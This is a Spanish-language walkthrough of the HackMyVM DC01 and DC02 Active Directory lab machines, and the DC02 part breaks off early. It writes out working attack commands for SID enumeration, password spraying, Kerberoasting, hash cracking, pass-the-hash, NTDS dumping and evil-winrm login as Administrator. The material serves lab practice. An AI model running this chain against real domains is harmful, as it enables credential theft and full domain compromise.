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Instalación y configuración del LAB 

Instalación de máquinas vulnerables HackMyVM. 

HackMyVM es una plataforma gratuita que ofrece máquinas virtuales 

vulnerables para practicar hacking ético, pentesting y resolución de retos 

de ciberseguridad. 

Antes de comenzar con la explotación de las máquinas de Active 

Directory (AD), es fundamental instalar correctamente las VMs en un 

entorno controlado. 

Enlaces para descargar las máquinas vulnerables de la plataforma 

HackMyVM; 

• https://hackmyvm.eu/machines/machine.php?vm=DC01 
• https://hackmyvm.eu/machines/machine.php?vm=DC02 
• https://hackmyvm.eu/machines/machine.php?vm=DC03 
• https://hackmyvm.eu/machines/machine.php?vm=DC04 

Una vez instaladas las máquinas, nos tenemos que asegurar de que el 

adaptador de red esté en adaptador puente o Red NAT, para tener 

visibilidad desde nuestra máquina atacante, la cual ha de tener el mismo 

adaptador de red que las máquinas vulnerables. 

Posibles errores en el despliegue de las VMs. 

En alguna de las máquinas, en el momento de desplegarlas aparecía el 

siguiente error; 

 

https://hackmyvm.eu/
https://hackmyvm.eu/machines/machine.php?vm=DC01
https://hackmyvm.eu/machines/machine.php?vm=DC02
https://hackmyvm.eu/machines/machine.php?vm=DC03
https://hackmyvm.eu/machines/machine.php?vm=DC04
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En mi caso lo soluciono cambiando el nombre de la MV y cambiando el 

adaptador de red a Red NAT. 

 

¡Problema resuelto! 
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Máquina DC01 

1. Reconocimiento 

Lo primero que tenemos que hacer es identificar nuestro objetivo, ver la 

IP de la máquina vulnerable. En mi caso, lo hago con la herramienta 

netdiscover. 

ip a 

sudo netdiscover -i eth0 -r 14.14.1.0/24 

 

Una vez identificamos el host, con IP 14.14.1.28, vamos a realizar un 

escaneo de puertos con la herramienta NMAP, en concreto vamos a 

utilizar la herramienta automatizada para escaneos de NMAP autonmap. 

 

Como era de esperar, al ser un DC hay muchos puertos abiertos.  

 

 

 

 

https://github.com/BanYio/AutoNMAP
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Por el momento nos vamos a centrar en kerberos (88), rpc (135), smb 

(445), ldap (389) y, por último, vemos que tiene habilitado el puerto 5985, 

winrm. 

 

Lo primero que hacemos es identificar el dominio y añadirlo en el fichero 

/etc/hosts. 

crackmapexec smb 14.14.1.28 

 

Tras intentar enumerar usuarios mediante LDAP, rpcclient o smb con null 

sessions o incluso con la herramienta kerbrute para ver usuarios válidos del 

dominio, no ha habido suerte, por lo que vamos a listar las carpetas 

compartidas y en un primer momento no se detecta nada interesante, 

por ello es muy importante realizar las enumeraciones con distintas 

herramientas. 
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smbclient -L //14.14.1.28/ -N 

crackmapexec smb 14.14.1.28 -u '' -p '' –shares 

crackmapexec smb 14.14.1.28 -u 'banyio' -p '' –shares 

 

Como podemos ver, hay muchas carpetas compartidas, pero solo 

tenemos permisos de lectura para IPC. Vamos a realizar alguna 

búsqueda a ver que podemos enumerar con este recurso compartido, y 

en hacktricks encontramos que hay una herramienta de impacket, 

lookupsid con la cual podemos enumerar los usuarios del domino. 

impacket-lookupsid banyio@14.14.1.28 

 

https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb
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Como podemos observar, nos aparecen todos los usuarios, pero con un 

formato incómodo para poder realizar otras tareas de enumeración más 

adelante, por lo que vamos a ordenar este output. 

impacket-lookupsid banyio@14.14.1.28 | awk -F '\\' '{print $2}' 

| awk '{print $1}' > users.txt 
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2. Explotación 

Ahora tenemos una lista de usuarios del dominio, por lo que podemos 

intentar a ver si alguno de estos usuarios es vulnerable a un ataque As-

Rep Roasting, o realizar un password spraying al smb con credenciales 

por defecto. 

crackmapexec smb 14.14.1.28 -u users.txt -p users.txt –no-brute 

 

Tenemos unas credenciales validas. 

ybob317:ybob317 

Vamos a comprobar carpetas compartidas con estas credenciales y ver 

si tenemos acceso mediante winrm. 

crackmapexec smb 14.14.1.28 -u ybob317 -p ybob317 –shares 

crackmapexec winrm 14.14.1.28 -u ybob317 -p ybob317 

 

No vemos nada interesante, por lo que vamos a ayudarnos de 

herramientas como bloodhound o ldapdomaindump para realizar una 

escalada de privilegios o movimientos laterales. 
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bloodhound-python -d soupedecode.local -v --zip -c All -ns 

14.14.1.28 -u ybob317 -p 'ybob317' 

 

Vemos que nos aparece un error DNS, vamos a intentar solucionarlo. Para 

ello vamos a levantar un DNS server con la herramienta dnschef. 

git clone https://github.com/iphelix/dnschef.git 

cd dnschef 

sudo python3 dnschef.py --fakeip 14.14.1.28 

bloodhound-python -d soupedecode.local -v --zip -c All -ns 

127.0.0.1 -u ybob317 -p 'ybob317' -dc dc01 

 

Ya tenemos el reporte de bloodhound. 

https://github.com/iphelix/dnschef.git
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Abrimos bloodhound, iniciamos la consola de neo4j y subimos el archivo 

.zip al bloodhound. 
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3. Escalada de Privilegios 

Una vez tenemos todos los datos subidos al bloodhound, podemos 

empezar a buscar posibles vectores para escalar privilegios, si listamos los 

usuarios kerberoastables, vemos lo siguiente; 

 

Todos estos usuarios son vulnerables a un ataque kerberoast, por lo que 

vamos a realizarlo con la herramienta de Impacket-GetUsersSPNs. 

impacket-GetUserSPNs -dc-ip 14.14.1.28 

soupedecode.local/ybob317:ybob317 

 

Aquí vemos los usuarios vulnerables, y para capturar el hash NLTMv2, le 

tenemos que pasar el parámetro -outputfile. 
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impacket-GetUserSPNs -dc-ip 14.14.1.28 

soupedecode.local/ybob317:ybob317 -outputfile kerb.hash 

 

Aquí vemos un error que se soluciona cambiando o sincronizando el ntp 

server con el del DC. 

sudo ntpdate 14.14.1.28 

Volvemos a ejecutar de nuevo el comando y vemos que se han 

capturado todos los hashes. Vamos a crackearlos con JohnTheRipper. 

john --wordlist=/usr/share/wordlists/rockyou.txt kerb.hash 

 

Como podemos observar, solo nos saca 1 contraseña, y no vemos a que 

cuenta pertenece. Para identificar a quien pertenece esa contraseña, 

utilizaremos crackmapexec. 
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crackmapexec smb 14.14.1.28 -u users.txt -p 'Password123!!' 

 

Tenemos nuevas credenciales; 

file_svc:Password123!! 

Con estas nuevas credenciales, vamos a volver a listar las carpetas 

compartidas, a ver si hay alguna novedad. 

crackmapexec smb 14.14.1.28 -u file_svc -p 'Password123!!' –

shares 

 

Nos encontramos con un fichero; backup_extract.txt que parece tener 

muchos usuarios y hashes NTLMv1, con los que podemos realizar la 

técnica de pass the hash, vamos a comprobar si hay alguna credencial 

válida. 
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cat backup_extract.txt | awk -F ':' '{print $1 > 

"svc_users.txt"; print $4 > "hashes.txt"}' 

 

crackmapexec smb 14.14.1.28 -u svc_users.txt -H hashes.txt --

continue-on-success --no-brute 

 

Como podemos ver, gracias al Pwned!, hemos comprometido la 

máquina, ya que significa que tenemos privilegios sobre el DC. 

Vamos a dumpear el NTDS para sacar las credenciales de Administrator. 

crackmapexec smb 14.14.1.28 -u FileServer$ -H 

e41da7e79a4c76dbd9cf79d1cb325559 –ntds 

 

¡Tenemos las credenciales de Administrator! 
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evil-winrm -i 14.14.1.28 -u 'Administrator' -H 

'88d40c3a9a98889f5cbb778b0db54a2f' 

 

Ya hemos completado este primer CTF, en el que hemos visto fuerza bruta 

de los SID de Windows para identificar usuarios/grupos en el objetivo 

remoto, password spraying, crackeado hashes y Pass the Hash. 

 

 

 

 

 

 

 

 



  

 
17 

Máquina DC02 

1. Reconocimiento 

Lo primero que tenemos que hacer es identificar nuestro objetivo, ver la 

IP del DC. En mi caso, lo hago con la herramienta netdiscover. 

ip a 

 

sudo netdiscover -i eth0 -r 14.14.1.0/24 

 

Una vez identificamos el host, con IP 14.14.1.28, vamos a realizar un 

escaneo de puertos con la herramienta NMAP, vamos a utilizar para ello, 

una herramienta automatizada para escaneos de NMAP autonmap. 

 

Como era de esperar, al ser un DC hay muchos puertos abiertos.  

https://github.com/BanYio/AutoNMAP
https://private-user-images.githubusercontent.com/154221253/367761254-ac69d664-356c-4eed-873f-e8e1ca5fb931.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxMjU0LWFjNjlkNjY0LTM1NmMtNGVlZC04NzNmLWU4ZTFjYTVmYjkzMS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT00ZDExN2FlMjM0N2Q0YWYyZjRiYWE5MmNmMDEwNTJhOWEwMGMyYTI4YzQyMzE4MzEzMTkxZTUzODkyOGMxZTU4JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.LuLlmFyhQNlkhfxXX6Qbvv-YEmBVYlfJ3Y-WgCQcKm8
https://private-user-images.githubusercontent.com/154221253/367761300-35f9a5af-e37d-4e87-aaed-86cef28770ce.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxMzAwLTM1ZjlhNWFmLWUzN2QtNGU4Ny1hYWVkLTg2Y2VmMjg3NzBjZS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1lMDljNDY3ZTY4MTkxYTA2MmNiYmFiMjQwNzZhNjI2YjcyNTlhYjI5MTkwNWEyZDhhZGE2NzFhY2VjODk1OTJmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.pPR0bh226IfUT472dKfTmbqXcAa6YjGhcT2wjXIFaA4
https://private-user-images.githubusercontent.com/154221253/367761378-8707694a-3395-44c9-85bf-d7bdfcdbe88d.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxMzc4LTg3MDc2OTRhLTMzOTUtNDRjOS04NWJmLWQ3YmRmY2RiZTg4ZC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT03ODJlZTk2N2VhZGQ2YjZjODQ4ZjFkMzQwNGE5Zjg4ZTI2ZDYxMDUyZGRjMGFhM2FmODk3YjVmYWU3ZTdkZDMwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.UjamxLJHAILO47H5g1WxQ3tqkZCc5kBLBqZzQ-pNJNQ
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Nos vamos a centrar en kerberos (88), rpc (135), smb (445), ldap (389) y 

por último, vemos que tiene habilitado el puerto 5985, winrm. 

 

Lo primero que debemos hacer es identificar el dominio y añadirlo en el 

fichero /etc/hosts. 

crackmapexec smb 14.14.1.28 

 

Tratamos de enumerar usuarios mediante LDAP, rpcclient o smb con null 

sessions o incluso con la herramienta kerbrute para ver usuarios válidos del 

dominio. 

kerbrute -domain SOUPEDECODE.LOCAL -dc-ip 14.14.1.29 -users 

/usr/share/seclists/Usernames/xato-net-10-million-usernames-

dup.txt 

 

https://private-user-images.githubusercontent.com/154221253/367761480-660fe9ed-3d96-467c-bf26-70bba92406f5.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxNDgwLTY2MGZlOWVkLTNkOTYtNDY3Yy1iZjI2LTcwYmJhOTI0MDZmNS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0xNDU3NDRhZTVlMmY3NzdiMTY2ZjE1N2QxOTVlNDM2ZjZjY2EzNGMyYmJhMTgyZTU3NmU4N2ZjNjgwNzZkNTUwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.0d3FpNu0Z0ZHOWeVBxfxmbXw31gg0ng2aaKvxwiZMpk
https://private-user-images.githubusercontent.com/154221253/367761629-be201d57-2415-4f50-bc6b-163856d703ee.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxNjI5LWJlMjAxZDU3LTI0MTUtNGY1MC1iYzZiLTE2Mzg1NmQ3MDNlZS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT02OGM4M2U1YzI4YTFmZTY4MDI2OTJjNDgzYWQ2YzExZjkzZWRiNGFhNzg1NzI5YWUyOTZmN2YxZmI2NmY1MGFkJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.nNfj2Waa2iai17fyRc9KEtftEyJyUiPCZT2eflxLr8E
https://private-user-images.githubusercontent.com/154221253/367761686-bf34ed20-30b4-49f6-912a-56164ed44f3e.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxNjg2LWJmMzRlZDIwLTMwYjQtNDlmNi05MTJhLTU2MTY0ZWQ0NGYzZS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0zZDc3NjFhZjU0MTc3MTY3NGVjYzViOTEwZWY3OTBkOWMyNTBkNzZiY2MzZTc3MmQwMGQyMGNmY2E5MmU2ZTNmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.R2N00laylEWncJVRQiJgNn6kPvsBS7xyA3w8NBICTF8
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2. Explotación 

crackmapexec smb 14.14.1.29 -u valid_ADUsers.txt -p 

valid_ADUsers.txt --no-brute 

 

Tenemos un usuario valido: 

charlie:charlie 

Enumeramos carpetas compartidas y no encontramos nada raro. 

crackmapexec smb 14.14.1.29 -u 'charlie' -p 'charlie' –shares 

 

Nos conectamos por rpcclient para ver si podemos enumerar todos los 

usuarios del domino. 

rpcclient -U ‘charlie’ 14.14.1.29 

enumdomusers 

cat AD_Users.txt | sed 's/\[/ /g' | sed 's/\]/ /g' | awk '{print 

$2}' > valid_ADUsers.txt 

 

https://private-user-images.githubusercontent.com/154221253/367761746-2a8cd225-712a-4c3a-989f-5ff00896f1ed.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxNzQ2LTJhOGNkMjI1LTcxMmEtNGMzYS05ODlmLTVmZjAwODk2ZjFlZC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1jMmY0MGMwMGVlMTg0YjI5YzlkZDliNDgzMGNkYjQ1ZDAxMGI2OWI5Y2ViNWM3Nzg4ZThkZjQ4YmU4NGVhMWU5JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.bBViFQAM_4ui3l8mNZ0Q777TU5ie8CTpIx7BZm4poMs
https://private-user-images.githubusercontent.com/154221253/367761858-aa928dc3-dc9a-475c-9e99-fa11393f056b.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxODU4LWFhOTI4ZGMzLWRjOWEtNDc1Yy05ZTk5LWZhMTEzOTNmMDU2Yi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0yNDBkMWU0OTdjMDYwMDlhZWM4YzY1NDg3Y2IzNjdjZTU5YTc3MWZhZjlkMDRkY2E0ODA0NThmNjJkM2MzODI2JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.8HlD3WIgCGrvIZGkTOQP-F7e8n7cGfMcf2QeDrfi4JM
https://private-user-images.githubusercontent.com/154221253/367763420-50a127aa-1fcd-4ea3-9260-8cb1215fd345.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYzNDIwLTUwYTEyN2FhLTFmY2QtNGVhMy05MjYwLThjYjEyMTVmZDM0NS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT03YTQzMWQ5OTE1N2NhOGMxNTRhOTg5MzY0MDllZmQ1MGI4ZTA2MzZmZjRjZmU5YjkyOTkyNDFjY2VkM2ZhYTVmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.rvCs1a2CAfTwCPcHpKl2elVBlsaGtiTrP0-ZrzlsV9c


  

 
20 

Tenemos todos los usuarios del dominio, pero para ver un poco mejor la 

estructura de este AD, vamos a utilizar las herramientas bloodhound y 

ldapdomaindump 

bloodhound-python -d soupedecode.local -v --zip -c All -ns 

14.14.1.29 -u charlie -p 'charlie' -dc dc01 

 

Nos aparece un error, y para solucionarlo haremos lo mismo que para la 

maquina DC01. 

Vemos que nos aparece un error DNS, vamos a intentar solucionarlo. Para 

ello vamos a levantar un DNS server con la herramienta dnschef. 

git clone https://github.com/iphelix/dnschef.git 

cd dnschef 

sudo python3 dnschef.py --fakeip 14.14.1.29 

bloodhound-python -d soupedecode.local -v --zip -c All -ns 

14.14.1.29 -u charlie -p 'charlie' -dc dc01 

 

Ya tenemos el reporte de bloodhound. 

https://github.com/BanYio/HackMyVM/blob/main/DC-01.md
https://github.com/iphelix/dnschef.git
https://private-user-images.githubusercontent.com/154221253/367763792-606168b6-dad3-4110-8efa-efa48524a0c4.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYzNzkyLTYwNjE2OGI2LWRhZDMtNDExMC04ZWZhLWVmYTQ4NTI0YTBjNC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1hNDgzMmZkZjk2OTc5ZGZjODRkYjY3MjhjZTg5Y2RlNWQyZDk1YzEyNzVjNDg0ZTZkOWQxZjQ5NjQ5NzUzNjUxJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.tdb4vKkLaKui3Orx5XofL4VL11vsKGc6I-cpO1BtmcU
https://private-user-images.githubusercontent.com/154221253/367762510-3b6838f4-9786-4449-813b-887523311da1.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYyNTEwLTNiNjgzOGY0LTk3ODYtNDQ0OS04MTNiLTg4NzUyMzMxMWRhMS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1jMzcyZjFlZThhNWQxMWM1ODUzMmFmYmNmZDcxMzliNzc0NzZmY2QxYzM0MDEyZjI2MTk4Njc1MmJlNTg0MDIyJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.ZhgYPfvZEBMCkq-KAh-VRQfRcvHT4fnObOwXM7qq0qs
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Abrimos bloodhound, iniciamos la consola de neo4j y subimos el archivo 

.zip al bloodhound. 

 

La otra herramienta que podemos utilizar es ldapdomaindump. 

mkdir ldump 

cd ldump 

ldapdomaindump -u soupedecode.local\\charlie -p 'charlie' 

14.14.1.29 

 

Ahora, para ver el contenido montamos un servidor http con Python. 

sudo python3 -m http.server 80 

 

 

https://private-user-images.githubusercontent.com/154221253/367763996-b400bdee-827a-4300-8e57-d7d501b5af59.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYzOTk2LWI0MDBiZGVlLTgyN2EtNDMwMC04ZTU3LWQ3ZDUwMWI1YWY1OS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT01MzM0Njk3ZWYyODg0N2FmZTEyODRlMjVjOTMyNzU0MTA5MjU4NjczZmFlZjYzMzg2NDY1MmJkMzZkM2FkMjQxJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.jLxyuc3S0H1roCA8Z9MQv1CWg8KOqN7UcAt_J-sEX8E
https://private-user-images.githubusercontent.com/154221253/367764191-d9f303be-7d36-41fb-bfbb-b88da66a635a.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzY0MTkxLWQ5ZjMwM2JlLTdkMzYtNDFmYi1iZmJiLWI4OGRhNjZhNjM1YS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT05Nzc3M2ZmYWE3NTYwYjc0ZjlmOTQxZTQ2NjQ2YzljZWE2ZGY1MjFlNTIxNTliMmE5NGUwMWM0NjUyYzM3ZDQ5JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.WdXkgevcWJk9AwcWRWxjS--6gm1rKP80awlLnZ0F2aI
https://private-user-images.githubusercontent.com/154221253/367764244-c9267556-6381-457b-b554-7d09a2f758fb.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzY0MjQ0LWM5MjY3NTU2LTYzODEtNDU3Yi1iNTU0LTdkMDlhMmY3NThmYi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1mNGE3Y2QzNTk0MzMzZGMxNzFhNjUwNzRkOWY5MmUwNjNmYjI5NThkMWRhNTQ4YmNiNDNjZTEwNDM4OGI3MzJlJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.5CGPw3nqxVkSDIdgy82zcL4jjh7NDn9Ht-86B6K8tc4
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Con esta herramienta podemos buscar información para realizar una 

escalada de privilegios o un movimiento lateral de una forma más visual. 

 

